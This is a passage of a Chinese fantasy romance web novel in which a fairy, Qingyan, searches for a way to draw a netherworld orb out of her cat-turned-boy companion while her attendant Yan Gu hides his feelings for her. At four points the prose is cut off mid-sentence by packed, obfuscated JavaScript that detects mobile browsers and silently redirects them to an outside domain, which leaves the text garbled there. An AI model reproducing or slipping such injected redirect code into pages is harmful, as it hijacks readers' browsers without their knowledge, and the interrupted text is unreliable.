青晏晃了晃头,把对颜故的思虑暂且搁置一旁,允诺道:“好。等我的灵力恢复得差不多了,咱们就去抓一只恶贯满盈的鬼族来试试。” 澈樾这才放下心来。 可这担忧的心一放下,好奇的心就高高翘起。澈樾左思右想,还是打算稍微试探试探:“还没问你,你觉得那俩小仙使怎么样?” “颜故和唐禾?都是好孩子。” “好孩子……”澈樾摸着下巴琢磨着这个用词,啧道,“不太妙啊……” “什么不太妙?” “嘶……你为什么会觉得他们俩是孩子呢?” 青晏无语地又翻了他一个白眼:“先不说你真实年龄,光澈樾神君这个身份你就用了快万年了。人家颜故唐禾都只有一千多年的修为,和咱们相比,他们不是孩子是什么?” 澈樾煞有介事地点点头:“嗯,你说得很有道理。” 他并不打算对青晏戳破那两个小仙使无望的感情,毕竟像这样对青晏暗生情愫的爱慕者他不知见过多少,于是只是随便好奇了一下便抛在脑后,起身对青晏道:“我先走了,你好好静养,我过段时间再来看你。” 青晏将他送出门去,回头便在亭子里看见了正趴在桌子上不知道叽叽咕咕着什么的明煦和初三。 “这是什么?”青晏迈进亭内,在琳琅满目摆着的各色水果球的小碗间精准发现两罐颜色一蓝一棕,颜色看起来极为诡异的,疑似为花蜜的物体。 一联想到他们刚从天织坊回来,青晏瞬间明白过来:“这不会又是千嘉灵机一动……?” “对头,”明煦指了指那罐棕黑色的蜜,“我们去的时候千嘉仙姝正好在和织天仙主说悄悄话呢,见我们来了就开始盛情推荐她用自己此次在北应岛死守了三百年才开放的苦若花酿的蜜,说是因为极苦,所以很适合修行尚浅者锻炼根骨。我觉得这还挺适合初三,就和她要了一罐。” 她又指了指旁边那罐蓝荧荧的:“这是千嘉之前酿的甜若花的蜜,她坚持一起附赠,还说可以一起混着吃提提味,功效也会更佳,但是织天仙主对此表示强烈反对……” 青晏看了眼桌上正中央处那碗颜色极为混乱的蜜瓜盅:“可你这碗就是混在一起了吧?” “我相信初三的抵抗力,”明煦笑得眉眼弯弯,“再说了,功效加倍嘛,再难吃又能怎么样,就是一口的事儿。” 初三脸都绿了,却又不舍得扫了明煦的兴致,于是带着一副甘愿壮烈牺牲的气势将那碗缤彩纷呈的东西直接吞了下去,瞬间被呛得直咳嗽。 听到动静的唐禾好奇地走了过来,被明煦一把薅进亭内,让他也来锻炼锻炼根骨。唐禾不疑有他,倒过谢后便捏着碗里的小签子戳了一个蜜瓜球。 只是没想到蜜瓜球刚一入口,一股难以描述的味道就张牙舞爪地占领了他的所有感知,直激得他想流泪。他泪眼朦胧地张了张嘴,刚想说点什么,另一股直冲脑门的酸苦就又打着旋地席卷回来,刺灼得他站都站不稳。 青晏眼看他就要一头栽倒,赶紧伸手扶了他一把,又在他脑门上清清凉凉地拍了一下,这才把唐禾从当众出丑的窘境中挽救回来。 被这股味道刺激得神情都有点恍惚了的唐禾朝明煦委屈地扁嘴:“这什么啊!这也太难吃了!” 一道温柔的声音被微凉的夜风送至他们耳边:“什么东西这么难吃?” 几人扭头一看,原来是颜故正立在不远处。几乎已经快要看不见的黯淡日光将他的轮廓在地上投出长长的影子,也将他的神情完全隐匿起来。 见他走近,唐禾立刻捧出那碗色彩斑斓的蜜瓜球,眼神热烈而又期盼。颜故的目光在他额头上落了落,随即垂睫笑道:“看你刚才的反应,这东西我似乎还是不吃为妙。” “哎呀,说不定你们两个口味不同呢?再说了这东西可是千嘉仙姝酿的,能巩固修行提升根骨,是好东西来着。”明煦坚定地抓着唐禾的胳膊又将碗向颜故的面前推了推。 “千嘉仙姝酿的?”颜故眼睛微微一转,似是回忆起来什么,接着含笑看向青晏,“那仙子建议我吃吗?” 青晏犹豫了片刻。 颜故见状轻笑一声:“我记得,昨晚有一片云自凌海宫垂坠而下,遥望似钉,想来是因为负责布云的织天仙主又倒在了千嘉仙姝发明之下的缘故吧。那么,”他朝唐禾手中扫了一眼,“这会是那个罪魁祸首吗?” 明煦的眼睛飞速眨了几下。 “算了,他不想吃就不叫他吃了,用别的方式也能锻炼根骨,不差这一口。”青晏道。 她见唐禾仍是一副捂着嗓子眼角泛泪的模样,便又伸手在他脖子附近拍了拍。唐禾这才感觉自己的喉咙终于不再火辣辣的,遂感激地抬起头来,用他那双仍带着泪光,湿漉漉的眼睛定定望着青晏,向她腼腆道谢。 颜故忽然捏起签子,将已经看不出原本颜色的蜜瓜球送入口中,随即在众人震惊的目光下淡淡道:“还好,也没那么难吃。” “你舌头坏了?”初三脸上写满了不可思议。 颜故仍是带着那副云淡风轻的微笑表示自己的味觉并无问题,只是单纯觉得此物味道尚可。初三不信邪地让他再吃一个,颜故闻言转头去看青晏,唇角轻扬:“我还需要再吃吗,仙子?” 青晏情不自禁地翘起大拇指:“如果你想的话……” 颜故垂睫一笑,面不改色地将碗里剩余的蜜瓜球逐一吃掉,甚至还做出了点评:“棕色的蜜虽说入口时较苦,但余味却有些淡淡的清甜,倒是有趣。” 青晏直直地盯着已经空掉的碗:“千嘉终于找到知音了……” “我并不是爱吃,”颜故立即道,“只是觉得这味道也并没有那么难以下咽,不会有什么强烈反应罢了。” 明煦也和青晏一样高高竖起大拇指:“你真是这个,真的,全天界都没人能扛得住千嘉的奇思妙想,你可真绝了。” 沐浴在众人崇敬目光里的颜故却只是浅浅笑着,好像这件事对他来说再平常不过,完全不值得惊讶一般。 待明煦他们走后,青晏想了又想,还是忍不住问道:“你对食物的忍耐度这么高?” 她真的很担心,该不会颜故在人界修炼的时候很是艰苦,没怎么吃到过正常东西,所以才能接受得了千嘉所酿之物?可之前明明听他说过,他师父一直对他很是不错,应该也不至于…… 颜故却像看懂了她的表情一般安慰道:“仙子宽心,我不是因为从前饥寒交迫所以现在什么都能接受,我只是单纯的对食物没什么特殊追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840884|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求。” “还记得在人界时我曾经对仙子说过的话吗?”他俏皮地眨眨眼,“我什么都吃,苦也能吃。” 青晏无奈摇头:“你可真是……” “好养活。”颜故强调,“我很好养活。” “嗯,对,是。” 如此简短,甚至多少有些敷衍的回答却让颜故的眼角弯得更深了。他调整了一下坐姿,让自己漆黑如瀑的发丝从肩头垂下:“仙子方才与澈樾神君谈的,是不是该如何帮助初三的事?” 初升的月光照耀在他绸缎般的头发上,细细地闪着清亮的光芒。青晏的注意力被那光芒夺走了一瞬,直到听见颜故的问题后方回过神来:“你又是怎么猜到的?” “仙子说过澈樾神君广交各界好友,又曾让他和孟婆打听一下幽冥界的事情,所以我猜他应该对幽冥界了解甚多,能帮上仙子。况且昨日初三刚化形他今日便来,这几乎是明示了,不太需要猜。” “但天帝今日为什么来,我却倒是真的需要猜一猜,”颜故的睫毛在他眼下打出长长的阴影,“他也是为了初三的事来的吗?还是真如澈樾神君所言,是专门来看仙子的呢?” 青晏哭笑不得:“不是和你说过我和宸景到底怎么回事嘛,明煦今天说的那些都是误会,误会。” “是吗,”颜故的声音很轻,“我还以为是旁观者清。” “真是误会,”青晏虽然不知道他为什么纠结这个,但出于对后辈的关爱还是耐心解释道,“又没有什么像话本里写的那种,因为存在难以调和的矛盾,所以即使相爱也不能在一起的原因,我和宸景要真是对彼此有意思,不早就在一起了?” 颜故猛地抬眼看她,却又很快垂下眸去:“说不定是仙子没发现别人的心思。” “我那么关注别人的心思做什么?况且你放心好了,宸景这个人心里只有天界,绝对没有任何儿女情长。”青晏信誓旦旦。 她说的是实话。 自打她认识宸景起,就没见过他放松哪怕一刻。他似乎从诞生开始便明白自己身上肩负着怎样的重任,无论于修行还是政务上都宵衣旰食,夙夜不懈地倾尽着所有。 有的时候她都怀疑是不是天地灵气是不是将自己的本来该有一点的勤奋全都分了给宸景,这才导致自己每日都懒洋洋的,而宸景则是万年如一日地刻苦至今。 颜故眼眸闪了闪:“所以仙子很欣赏天帝的严肃可靠?” “这种特质……应该很难不欣赏吧?” “那澈樾神君的潇洒风流,仙子也是喜欢的吧?” “啊?”青晏想起澈樾那细致到头发丝的精心打扮,“也还……可以吧?” “唐禾那样的温顺乖巧呢?” 青晏更迷惑了:“你到底想问什么?” “没什么,”颜故的睫毛像一把微微颤动着的薄扇,将他所有情绪都掩在眸中,“只是觉得仙子和外界传闻里完全不同,根本不是像他们说的那样孤傲清冷,疏离寡言。” “这个传闻可以信一信,我的确很懒得和人交际。”青晏耸耸肩,“不过也只是懒罢了,应该不至于到很尖酸刻薄,不近人情的程度。” “仙子似乎确实和什么性格的人都相处得来。”颜故幽幽道,“之前夸我相貌时的信手拈来,也是因为总夸澈樾神君所以习惯了吗?” 61.告知 早就通过澈樾深知此类问题绝不能给出真实答案的青晏迅速回道:“绝无此事。” 颜故目光微微游离,看不出他究竟信还是不信。赶在他沉默的当口,青晏迅速发问:“你今天为什么问了这么多奇怪的问题?是有什么心事?” “没有,”颜故提起唇角,笑容纯真,“只是作为仙子的座下仙使,自然希望能得仙子欣赏,所以会关心这些。” 得,这是又开始钻牛角尖了。 青晏立即道:“属实没有必要。首先你已经很优秀,无需再刻意雕琢自己的个性,其次无论如何你在我这都会得到应有的公平待遇,我不是那种会因为自己喜好而耽误他人前程的性子。” 颜故垂下头,声音轻得仿佛随时会飘散在风里:“可我希望能被你耽误。” 他的声音实在太小了,青晏根本没听清,只能疑惑道:“什么?” “没什么,”颜故很快又抬起脸来,“那些你们商量出来能帮到初三的办法可以给我看看吗?” 青晏将那张写着各类办法的纸递给他,颜故边看边道:“想必其中有些办法,天帝和神君都劝过仙子,但未能起效吧?” “怎么,你也要劝?” 颜故笑了:“我不会劝仙子不要这么做,我只会劝仙子做这些事的时候带上我。就算我修为尚浅,但俗话说蚊子再小也是肉。更何况我又嘴严,还一心想为仙子分忧,这样完美的人选,仙子可一定要考虑啊。” 见青晏犹豫,他又赶紧补道:“再说,处理这些事的过程对我这样的仙使来说也是种历练,经历的事情越多,我便能成长得越快,越能早日为天界多多效力,对吧?” 倒确实是这个道理…… 青晏最终还是点头应允,但却就此想起另外一桩事来。 如今魔界和极有可能存在的另外一方势力已然盯上了明煦,在确认这些威胁已经被清除前,明煦实在不该再离开天界。可若是现有的这些办法都不成,自己需要带着颜故再度下界寻找新法子时,明煦非要跟来该怎么办?唐禾的游历又该如何继续? 其实本来她再带一个人也无妨,只是初三体内蕴藏着幽煞珠一事知道的人越少越好。颜故是他自己猜到了没办法,但若是可能,她实在不愿意将唐禾也拖进这趟浑水中。 等宸景再来的时候和他商量一下办法吧……青晏想。 --------- 之后的几天里,青晏时不时地就编着各种理由哄初三来将那些办法一一试过去。单纯的初三真的相信了她所说的,每只初化形的小猫都必须这样做才能让修为更加稳固的说法,乖乖配合着她的每一个步骤。 毕竟是自己的主人,她无论如何都不会害自己。 然而这些办法虽都能起到祛除一些幽冥之气的作用,却没有任何一种能让幽煞珠从初三体内脱离,甚至都未能引起它哪怕一丝一毫的波澜——因为初三压根连幽煞珠的存在都完全感应不到,只是一挥手就放出一道极为浓郁的幽冥之气,有一次甚至差点将天界守卫引来。 青晏赶紧嘱咐初三不要随意动用法力,随即便开始头疼——因为肯定瞒不住明煦了。她只要见到初三使用法术,便肯定能想清楚那日初三到底吃进去了什么。否则一只普普通通的小猫,怎么可能拥有那么强横的幽冥之气? 待宸景再来时,她便忧心忡忡地与他商量对策。二人讨论了半天,最后一致认为不如就让明煦知道事情真相。事关初三的生死安危,想必明煦就算再怎么大大咧咧,也不会不小心说漏出去。 而若是真到了需要下界寻找新的解决办法那天,也可以顺理成章地用初三在天界也需要一个保护者的理由让她不要跟下界。正好宸景最近在重调天界的守卫布局,干脆就让明煦也参与进来。如此重任在肩,她肯定忙得没有时间去想东想西,而且也会一直在宸景的眼皮子底下,受到最极致的安全保护。 至于唐禾,便让他与其他仙吏一起在人界收缴那些还在暗中吸取魂魄的魔界法宝。唐禾本就谨慎心细,又一身正气,让他来处理这件事再合适不过。 两人都对这样完美的安排极为满意,就连幽煞珠暂时无法从初三体内取出的郁闷都被冲淡了些。宸景惬意地迈出门去,却在下一瞬立即换上了天帝该有的威严肃穆的神情。 因为不远处的颜故正在对他尊敬施礼。 明明是一个自己已经不知道看别人做过多少遍的,再正常不过的动作,宸景却敏锐地感觉出眼前这个小仙使似乎和之前见面的时候不大一样了,现下的他,周身竟莫名泛着一股幽幽的气息。 他奇怪地打量了颜故一眼,随即对青晏传念道:“你那仙使怎么回事?” 青晏顺着宸景的话望去,却只看见了一个笑得如沐春风,目光里也带着几分尊敬和仰慕的颜故:“什么怎么回事?” 虽说等他再看过去的时候,颜故身上那股幽幽的气息早就已经消失得无影无踪,仿佛从来没出现过一样,但宸景还是将自己所见告诉了青晏。 青晏宽慰道:“他心思细腻,方才说不定是在想什么呢,但绝不会对你或天界有坏心思的。” “既然你这么说……”宸景点了点头,随即化作一道金光离开。 “究竟是什么样的好主意,能让仙子和天帝都如此高兴?”颜故清亮的嗓音漫不经心地响起。 他走上前来,略略歪着头看着青晏,神情看不出有什么异常。 青晏将她和宸景的想法一说,颜故闻言竟也表示赞同。 只不过他很快便提出一个问题:“可仙姬一向自由惯了,如今突然需要日日在天帝手下做事,不会觉得拘束吗?” 那可是他亲妹妹,宸景最多是刀子嘴豆腐心说明煦两句,这也就到头了。按照明煦那个一向胆大的性子,就算一开始觉得面对高高在上的天帝时会有些不安,但日子一长,肯定就能摸出宸景其实对她态度还算不错。 但这些话她不可能对颜故说,于是只道:“肯定多少会略有拘束,但宸景其实没那么难相处,还是很随和的。” “哦,”颜故轻轻重复了一遍,“很随和。” 他的语气太过正常,青晏完全没听出有什么不对劲的地方。她看了一圈十分安静的院子,后知后觉地问道:“这两天都没怎么见到明煦和唐禾,他们忙什么去了?” 听颜故一说,青晏这才明白,原是明煦发现唐禾那本就不太结实的扇子法器在经过人界走了这么一圈后更是愈发破烂,遂想带着他去专门存放仙器法宝的肃心院重新挑一个。 然而唐禾将肃心院所有的扇子挨个试过去后却发现没有一个是顺手的,于是明煦现下正到处搜罗材料,说要给唐禾重新打一把。 青晏叹了口气:“也是该换把新的了。” 唐禾那把扇子不仅只有巴掌大小,扇面上还横错着数道经细细打磨也没能彻底消去的刻痕,整把扇子更是默默泛着饱经风霜的斑驳,仿佛是在地里埋了许久刚被挖出来一般。 刚一看见这扇子的时候,他们都不敢相信这就是唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我在天界混了这么久也是认识几个熟人的嘛,小事一桩啦!” 青晏忍俊不禁,随即告诉她若是得闲了来玄镜宫一趟,自己有事要与她说。 待明煦到后,青晏把初三也叫了过来,深呼吸几次后才慎重地在寂音结界里,将初三是因为偶然吞入幽煞珠才导致化形,且如今尚未找到有效办法将其取出一事告诉了他们二人。 明煦“噌”地一下跳起来:“这狗东西将咱们几个祸害了一通后又找上初三了?我就说我最近怎么总能感应到一点幽冥之气,我本来还以为是自己身上的没祛除完,没想到竟然是从初三身上冒出来的……” 她担忧地握住初三的肩膀摇晃:“你感觉怎么样?” 对幽煞珠毫无认知的初三迷茫道:“没感觉有什么奇怪的地方啊……怎么你们一个两个的都那么紧张?” “我们刚回来那天那副惨样你还记得吧?就是这东西以一己之力把我们搞成这样的,要不是命大根本都回不来!”明煦眉头纠成了一团,“那可是蕴含着百万鬼族之力的幽冥界圣物,如今这力量都在你一个人身上,虽然现在看起来还算稳定,但万一哪天它抽风害死你可怎么办?” “啊?”这下初三也开始紧张了,弯腰用力咳嗽着想把幽煞珠吐出来,意料之中没能获得任何效果。 他猛地转头看向青晏:“你前几天说的那些刚化形的小猫都得做的事,是不是哄我?实际上就是想看看能不能把这破珠子取出来吧?” 62.空旷 青晏坦然:“对啊。” 见她承认得如此理直气壮,初三那点小小的脾气也发不出来了。 自己这个一向思虑周全的主人,定是想在不让他受到一点影响和惊吓的情况下把这件事悄悄解决,然后从此闭口不提,就像什么都没发生过一样。可现下她却直接了当将真相告知,肯定是因为这件事麻烦得很,她实在没有办法,所以不得不如实以告。 一想通这点,初三顿时有些气馁。 他闷闷地开口:“那我该怎么办啊。” “你现在呢,只需要和从前一样。不要到处狂跑,不要使用法力,安心在家待着,我们一定会找到办法的。” “我们?”初三立即问道,“我们指的是你和谁,那个冷面天帝、自恋神君,还是那个笑脸狐狸?” “不许瞎给人起外号,”青晏不轻不重地给他头顶来了一记,“你这个没礼貌小猫。” “我又没当他们面叫,”初三嘟囔了一句,随即追问,“所以到底是谁?” 青晏举起三根手指:“三个都是,他们都很关心你。你也不必太过担心,只要瞒住这件事就好,会有办法解决的。” 见初三神情略有放松,青晏转而和明煦说起接下来对她与唐禾的安排。许是还在深深担忧着初三体内那吐不出来的幽煞珠,明煦的反应并不太大,只是缓缓点了点头,怅然地表示是得有个人在天界护着点初三,到时候她一定会坚守阵地。 之后的日子里,明煦一反常态地不再到处溜达串门,而是除了和青晏他们去灵泉恢复灵气外,其余的时间都和初三窝在玄镜宫里,一点点地从头开始教导起初三的武艺。初三本就是由猫化形而来,身形动作都灵巧得很,可给明煦高兴坏了。 又过了几日,肃心院守着时辰将以万年辰铁打好的扇子给唐禾送了过来。 那扇子薄如蝉翼,全部合上也不过一指粗细,却沉得将那仙吏的手直往下坠。然而这扇子到了唐禾手中却极为轻灵,只需他心意一动便能在指尖翩翩飞舞,连带着施出的法术都更有威力。 明煦高兴坏了,当即将肃心院大肆夸赞了一通,直夸得那仙吏眼角的笑纹沟壑都更深邃了几分。 有了这般如虎添翼的新法器,唐禾居然连伤势好得都比从前快了些许,一眼望过去已是神清气爽,毫无一丝倦容。明煦见状大喜,迫不及待地想让唐禾那不负责任的师父看看他现在意气风发的模样,然而四处打听了一圈都没人听说过修庆道人这个名号,为此她很是百思不得其解。 她在宽大的藤椅上盘腿坐着:“不应该啊……不是说按照规矩,新晋仙人进入太垣的第二日便该在汲秀殿面谢恩师了吗,唐禾怎么会没见到他师父呢?该不会是他压根就没升仙,一直没露面是因为死了吧?” “不会的,我三师兄和六师姐都亲眼见到了师父升仙。”唐禾挠了挠头,“他们不会骗我。” “那这事儿就奇怪了……我甚至厚着脸皮去仙籍阁打听了一圈,人家正在整理积年名册忙得人仰马翻,给了我好几个白眼才肯不情不愿地给我找,可就连他们也没找到。” 明煦“啧”了一声,紧接着脸上露出一丝神秘的微笑,上半身缓缓朝着青晏的方向歪过去。还没等她开口,早已熟悉了她这副鬼迷日眼的表情代表着什么的青晏便无奈道:“好,我找机会问问宸景,可以了吧?” “优秀。”明煦暧昧地朝青晏挤眉弄眼,“作为回报,你不在的时候,我会将天帝的一举一动都记在脑子里,等你回来再一一讲给你听,保证你不会错过……唔唔唔!” 一粒巨大的仙丹被青晏迅疾塞进她的嘴里。 明煦一边费力地嚼着,一边仍试图对青晏继续输出她的旖旎构想。然而还没等她吐出几个字,就见澈樾鬼鬼祟祟地从门边溜了进来,对着青晏打了个响指:“抓到了。什么类型的都有,开试!” 嚼着仙丹的明煦对这句话的意义不明所以,听了解释之后才反应过来,原是澈樾从人界捉了几个恶贯满盈的鬼族,专门用来尝试看能不能将初三体内的幽煞珠引出。 然而让他们大失所望的是,尽管这些鬼族修为有高有低,所擅术法也各有所异,可没有任何一个能让幽煞珠产生半点反应,就仿佛那珠子已经深埋在初三那已然消失不见的厚软白毛中,舒服到连挪都不愿再挪动一下。 颜故从书斋返回的时候,看见的便是面沉如水,手指不住在桌上敲打着的青晏。而青晏也一反常态地连招呼都没和他打,只是略略掀了掀眼皮,从鼻间重重呼出一口气。 “今天又是什么法子失败了?”颜故在她身旁不远处坐下。 青晏指尖敲击的速度更快了:“我本来以为用鬼族引出幽煞珠这个办法最有希望,毕竟那日我们都亲眼见到了那产鬼吸收幽煞珠力量的速度有多快,可为什么这个办法到初三身上就是不起作用?” 颜故垂睫想了想:“仙子真的这么笃定,初三就是一只普通小猫吗?”他再次和青晏确认,“仙子是怎么在人界捡到它的?” “那日我心血来潮,想试试看在河边烤鱼会是什么感觉,便架了火来烤。”一说到这个,青晏眉眼不禁柔和起来,“结果因为热乎乎的太舒服了,很快就睡了过去,再醒来的时候就看见一只好漂亮的绿眼睛小白猫,用还带着草叶的爪子扒拉着已经快要烤到发黑的鱼。” “我把那鱼解下来递过去,它很快就吃完了,在我腿边绕来绕去喵喵叫。我问它想不想和我走,想的话就伸个懒腰,它看了我一会儿,打着哈欠伸了个大大的懒腰,还用爪子拍了拍我的脚面,像是在示意我它已经完成了这个动作,要我记得信守承诺。” “听起来是不是很乖?”青晏弯起唇角,“结果全是装的。刚带回天界没几天就开始暴露本性,又傲娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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橙色的落日余晖笼罩在青晏脸上,将她那本有几分清冷的五官染上了温暖的颜色。夺目的金光在她精致的面孔上绽放,像有一层极轻极软的金纱柔柔地覆了上去,贪恋地紧贴她的脸颊。 颜故愣愣地看着面前被夕阳亲吻着的温柔面庞,耳边传来的“砰砰”之声越来越响,逐渐连成一片。在这片震耳欲聋的跳动声中,他耳中传来的那道饱含着笑意的声音却格外清晰:“谢谢,真的帮了大忙了。” 颜故本能地起身说着谦词,看着青晏脚步轻盈地远去。行走的风带起她的衣角和长发,柔软的发梢顺着风的轨迹拂了过来,好似没有尽头般地在他眼前不停飘扬。 许久之后颜故才意识到青晏早就走了,在他眼前荡漾着的不过是他心中反复的回响。他缓缓动了两下眼珠,在眸中幻象消失后重新坐回到椅子里。 不知为何,他开始打量起眼前这间他已经无比熟悉的屋子。 好空旷。 他突然开始不习惯起这份冷清。 可明明那个人在的时候,这里也是一样安静。 63.希望 颜故在殿内坐了很久,直到暮色深重。 终于,在漫天星辰都要消隐之际,青晏终于一脸倦色地返了回来,随即就被仍坐在原地的颜故吓了一跳:“你怎么还没回去?” “想等等看仙子的好消息。”颜故浅笑。 他走到青晏身边,低眸看向她头顶的发旋:“天界可有如此有远见的收藏家吗?” “冰澜草本身没有存货,但神宝阁那有一小罐它的露水,据传与冰澜草的功效能有三分相似。我已经豁出去我的老脸向他们讨要了一点,明日就会送过来。”青晏大大地打了个哈欠,“我现在无论如何都要去睡了,你也快去吧。” 颜故却纹丝未动。 他的目光在青晏脸上来回扫着:“天界的其他灵宠,应该会很羡慕初三吧。” 青晏抬起有些沉重的眼皮:“那倒也未必……首先初三压根就没有灵力,算不得什么灵宠,其次很多人对他们的灵宠都很好,比如浅幽仙使的鹿,每天饮的都是仙露,吃的草饼也是仙草做的……” “我说的不是这个意思……算了。” 颜故垂下长长的睫毛,轻声向困得已经开始有点迷糊的青晏道了句晚安,随即向夜风中走去。 在危难尚未来临之际,这种轻而易举便能做到的“好”实在过于浅薄。他不知道若哪日异位而处,那位浅幽仙使是否能做到像青晏这般竭尽所能,甚至不惜以伤害自身的代价去挽救一只普通得不能再普通的小猫的命运。 只是因为它是她的小猫。 如果有一天,是我面临了这样的境地,仙子又会如何对我呢? 颜故仰起头,出神地望向晦暗不明的夜幕。 次日,一个装有三滴冰澜草露水的极细宝瓶被神宝阁的仙吏送到了青晏手上。明煦收到消息赶过来时,青晏正眉头紧锁地和颜故商量着,到底是该先让初三喝一滴露水试试看,还是先试一试将露水化作水雾浸润他的全身。 颜故提议既然那日初三是将幽煞珠吞入腹中的,那不如便先试一试喝进去的办法。更何况若是届时初三对这露水有任何不适,操纵一滴露水离开他体内的难度比起将细小的水雾全部散尽也要小得多。 明煦一边听着一边胡乱揉着初三头顶软软的发:“没事儿,不就是太寒了嘛,等下我用火给你暖着,保证不会让你的五脏六腑受伤。” 她的语气虽轻松,可瞧她那一脸如临大敌的神情,这番话就怎么听怎么像是在给明煦自己打气了。然而初三却一梗脖子,表示自己坚强得很,这副身躯既然都能扛得住幽煞珠,一滴小小露水肯定更不在话下。 “别大意,”青晏道,“神宝阁那边和我讲过,说这露水的寒凉虽没有冰澜草本体那般强劲,但也已经足够霸道,就算是仙体也难逃其影响,你还是仔细些。” 初三立刻就老实了,要多乖巧有多乖巧地接受着明煦温暖却又不灼人的火焰,随即一闭眼一仰脖,将其中一颗露水迅速倒进口中。 就在露水滑入喉咙的那一瞬,他突然感到体内有什么东西在他腹中猛地撞了一下。这不算很痛但极为诡异的感觉让初三情不自禁地倒吸了一口凉气,好看的眉毛也随之皱结起来。 青晏见状猛地起身:“有反应?!” 颜故立即将第二颗露水散成细密的水雾笼罩在初三全身,希望可以通过这种方式将幽煞珠更快逼出,然而这办法却让初三的眉头皱得更紧了。他一边连连吸气,一边断断续续道:“它现在动得毫无章法,还不如刚才喝进去呢……快快快,先收了……” 颜故散去水雾后,初三倒在明煦肩膀上大口大口喘着气,眼睛有些发直:“没想到还真有个东西在我肚子里,之前明明一点感觉都没有……” “你现在感觉如何?”青晏迅速问道。 “只有它撞来撞去的时候感觉比较疼,现在倒是还好,就是有点难受,算是刚才那股疼的余韵吧。”初三想了想,“这是不是说明,如果我吃进去的是真正的冰澜草的话,是不是就有可能将那东西彻底赶出来了?” 青晏露出了这么多天以来最为舒心的笑容:“我想是的。你安心在家等着,冰澜草我肯定给你找到。” 初三赶紧把脑袋从明煦肩膀上抬起来,清秀的身板坐得挺直:“这东西好找吗?” “不算特别难找,”青晏温声哄着他,“只是生长年限有点久,也不知道具体生长位置罢了,所以可能要多找一会儿。你这段时间要好好在家,别乱跑。” “那……会很危险吗?” “不会不会。”青晏摸了摸他柔软的发顶,“放心吧,没有什么事能难倒我。” 颜故垂下眼去,没有说话。 待明煦拉着初三出去练武后,他才低低地开口:“为什么不告诉他们呢?” “有什么用呢?”青晏反问道,“只会徒增烦恼罢了。” “可这么久的奔波、尝试,甚至未来在寻找冰澜草过程中可能遇到的危险……如此巨大的付出,仙子竟然连一句都不提吗?” “一家人说那么多干什么,只要他好就够了。”青晏脸上浮现出温柔的光,“况且总是提心吊胆的话毛都该不亮了,那可不行。” 颜故本敛着的眉一下子散了开来,无奈笑道:“都什么时候了,仙子还在关心初三的毛……” “小猫就得毛茸茸的,油光水滑的才好看呢。”青晏正色。 她又继续道:“我知道你是在担心若是龙族圣地并没有冰澜草,接下来就只能去混沌裂谷和血雾虚渊碰运气。但这两处地方并不适合你这样刚升仙的仙使前往,届时我绝不会让你去冒险的,放心。” 椅子腿划过地面的声音响亮极了。 颜故没有去管被他急速起身带翻的椅子,只是不可置信地盯着青晏:“仙子以为我是在担心这个?” “不是,当然不是。”青晏赶紧安抚。 “那是什么?”他高大的身躯在地面上投下长长的影子,“为什么混沌裂谷和血雾虚渊就不让我去?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894686|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你不是也知道这两处是生死难测,险象环生的绝地吗?这样危险的地方,你……” 她的话还没说完就被颜故打断:“这样危险的地方,仙子去得,我就去不得?只是因为我是初入仙界的仙使吗?还是因为仙子觉得我不是那个可以和你一起解决所有困难的人?” 青晏被他突如其来的连环发问给问懵了。 这小孩怎么回事,明明是为了他好,这种地方连自己去都不一定能全身而退,他一个只有一千多年修为的小仙人跟着凑什么热闹,能在外面等着接应自己都算是冒险了…… 而且什么叫“不是那个可以和你一起解决所有困难的人”,她什么时候有过这样的人了?就连澈樾前段时间不是还在劝自己不要什么事都总是自己扛着,要学会依赖一下他们吗? 还是说他初入仙界,不太懂新任仙使都应该做什么,以为这种事不带他就是自己不重视他,会耽误他的发展?那这就得怪宸景了,怎么能不给新人安排一下培训呢,该做什么不该做什么先教清楚啊,不然好容易苦修这么多年,结果刚升仙没多久小命直接被弄没了,天界哪还有什么未来…… 青晏脑海内瞬间转过无数念头,口中却只是平和地劝慰道:“确实只是因为你如今的修为并不适合,贸然前去只会白白送死。无论你拜在谁的座下,他们都不会做出这样残忍的事。” “所以那日仙子答应带上我的时候,本来想的就是一旦遇上危险就把我推开吗?”颜故的气息有些不匀。 青晏想了想,十分认真地对他道:“我知道你很关心周围的人,所以才这么迫切地想要帮我的忙,帮初三的忙。但说实在的,如果不是因为有这码事,那种地方连我自己都不会去,因为我没有送死这个爱好,而这样的爱好我劝你也不要有。” 